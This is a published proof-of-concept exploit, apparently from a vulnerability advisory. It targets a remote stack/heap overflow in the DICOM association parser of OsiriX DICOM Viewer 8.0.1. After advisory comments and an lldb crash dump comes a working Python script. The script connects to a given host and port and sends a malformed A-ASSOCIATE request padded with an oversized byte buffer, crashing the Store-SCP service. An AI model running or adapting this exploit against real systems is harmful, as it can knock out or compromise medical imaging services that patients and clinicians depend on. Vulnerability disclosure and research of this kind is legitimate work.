OsiriX DICOM Viewer 8.0.1 – Memory Corruption

#!/usr/bin/env python

# -*- coding: utf8 -*-

#

# OsiriX DICOM Viewer 8.0.1 (dulparse.cc) Remote Memory Corruption Vulnerability

#

# Vendor: Pixmeo Sarl

# Product web page: http://www.osirix-viewer.com

# Affected version: OsiriX 8.0.1

#

# Summary: With high performance and an intuitive interactive user interface, OsiriX MD is

# the most widely used DICOM viewer in the world. It is the result of more than 10 years of

# research and development in digital imaging. It fully supports the DICOM standard for an

# easy integration in your workflow environment and an open platform for development of

# processing tools. It offers advanced post-processing techniques in 2D and 3D, exclusive

# innovative technique for 3D and 4D navigation and a complete integration with any PACS.

# OsiriX MD supports 64-bit computing and multithreading for the best performances on the

# most modern processors. OsiriX MD is certified for medical use, FDA cleared and CE II labeled.

#

# Summary2: OsiriX is an image processing application for Mac dedicated to DICOM images

# (".dcm" / ".DCM" extension) produced by equipment (MRI, CT, PET, PET-CT, ...).

# Osirix is complementary to existing viewers, in particular to nuclear medicine viewers.

#

# Desc: The vulnerability is caused due to the usage of vulnerable collection of libraries that

# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.

# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length

# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can

# overflow the stack and the heap of the process when sending large array of bytes to the presentation

# context item length segment of the DICOM standard, potentially resulting in remote code execution

# and/or denial of service scenario.

#

# -------------------------------------------------------------------------------------

#

# (lldb)

# Process 65202 stopped

# * thread #20: tid = 0x2c5fcc, 0x0000000108978441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833, name = 'DICOM Store-SCP', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fb5af00fda1)

# frame #0: 0x0000000108978441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833

# OsiriX Lite`parseAssociate:

# -> 0x108978441 <+833>: movzbl (%r10), %eax

# 0x108978445 <+837>: cmpl $0x40, %eax

# 0x108978448 <+840>: movq -0x200(%rbp), %rcx

# 0x10897844f <+847>: je 0x108978513 ; <+1043>

# (lldb) bt

# * thread #19: tid = 0x2f6189, 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833, name = 'DICOM Store-SCP', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fab8ac000a1)

# * frame #0: 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833

# frame #1: 0x0000000102fe4363 OsiriX Lite`AE_6_ExamineAssociateRequest(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, void*) + 339

# frame #2: 0x0000000102fe14ca OsiriX Lite`PRV_StateMachine(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, int, void*) + 314

# frame #3: 0x0000000102fdae9c OsiriX Lite`DUL_ReceiveAssociationRQ(void**, DUL_BLOCKOPTIONS, int, DUL_ASSOCIATESERVICEPARAMETERS*, void**, int) + 4348

# frame #4: 0x0000000102facf1e OsiriX Lite`ASC_receiveAssociation(T_ASC_Network*, T_ASC_Association**, long, void**, unsigned int*, bool, DUL_BLOCKOPTIONS, int) + 462

# frame #5: 0x0000000102c5f28f OsiriX Lite`DcmQueryRetrieveSCP::waitForAssociation(T_ASC_Network*) + 207

# frame #6: 0x0000000102c3f9c7 OsiriX Lite`-[DCMTKQueryRetrieveSCP run] + 4999

# frame #7: 0x0000000102987a37 OsiriX Lite`-[AppController startSTORESCP:] + 519

# frame #8: 0x00007fff975b030d Foundation`__NSThread__start__ + 1243

# frame #9: 0x00007fffab021aab libsystem_pthread.dylib`_pthread_body + 180

# frame #10: 0x00007fffab0219f7 libsystem_pthread.dylib`_pthread_start + 286

# frame #11: 0x00007fffab021221 libsystem_pthread.dylib`thread_start + 13

# (lldb) register read

# General Purpose Registers:

# rax = 0x0000000000000103

# rbx = 0x00000001044c18d8 OsiriX Lite`ECC_Normal

# rcx = 0x00006100002e6200

# rdx = 0x000000000001ad41

# rdi = 0x00000001044c18d8 OsiriX Lite`ECC_Normal

# rsi = 0x00006100002e6200

# rbp = 0x0000700005a4a670

# rsp = 0x0000700005a4a420

# r8 = 0x0000000000000103

# r9 = 0x00000000fb40cfc6

# r10 = 0x00007fab8ac000a1

# r11 = 0x0000000000000041

# r12 = 0x0000700005a4a6b8

# r13 = 0x00000001044c18f0 OsiriX Lite`EC_Normal

# r14 = 0x00000001044c18d8 OsiriX Lite`ECC_Normal

# r15 = 0x0000000000008014

# rip = 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833

# rflags = 0x0000000000010286

# cs = 0x000000000000002b

# fs = 0x0000000000000000

# gs = 0x0000000000000000

#

# -------------------------------------------------------------------------------------

#

# Tested on: OS X 10.12.2 (Sierra)

# OS X 10.12.1 (Sierra)

#

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# @zeroscience

#

# Advisory ID: ZSL-2016-5382

# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5382.php

#

# https://tools.ietf.org/html/rfc3240

# https://github.com/commontk/DCMTK/commit/1b6bb76

#

# 29.11.2016

#

import sys, socket

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'

'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'

'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'

'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'

'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'

'\x31\x20\x00\x80\x00')

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'

'\x52\x00\x00\x00')

buffer = '\x41\x42\x43\x44' * 10000

if len(sys.argv) < 3:

print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'

print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 11112\n'

sys.exit(0)

host = sys.argv[1]

port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((host, port))

s.settimeout(251)

s.send(hello+buffer+bye)

s.close

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